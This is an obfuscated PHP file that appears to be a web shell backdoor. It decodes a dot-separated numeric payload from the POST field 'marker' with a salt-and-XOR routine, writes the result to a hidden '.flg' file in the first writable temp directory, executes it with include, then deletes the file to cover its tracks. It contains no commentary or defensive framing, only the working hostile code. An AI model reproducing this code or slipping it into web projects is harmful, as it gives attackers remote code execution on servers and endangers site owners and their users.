<?php

if(filter_has_var(INPUT_POST, "marker")){
	$ent = array_filter(["/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$comp = $_POST["marker"];
	$comp		=	  explode 		( 	'.',		$comp )   ; 
	$rec =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($salt );
            $p =	0;
            $__len =	count($comp );
    
            do {if($p >= $__len) break;
                $v3 =	$comp[$p];
                $sChar =	ord($salt[$p	% $lenS] );
                $d =	((int)$v3 - $sChar -($p	% 10))		^58;
                $rec .= chr($d );
                $p++;}		while(true );
	while ($k = array_shift($ent)) {
    		if (!( !is_dir($k) || !is_writable($k) )) {
    $elem = vsprintf("%s/%s", [$k, ".flg"]);
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $rec);
	fclose($file);
	include $elem;
	@unlink($elem);
	exit;
}
}
}
}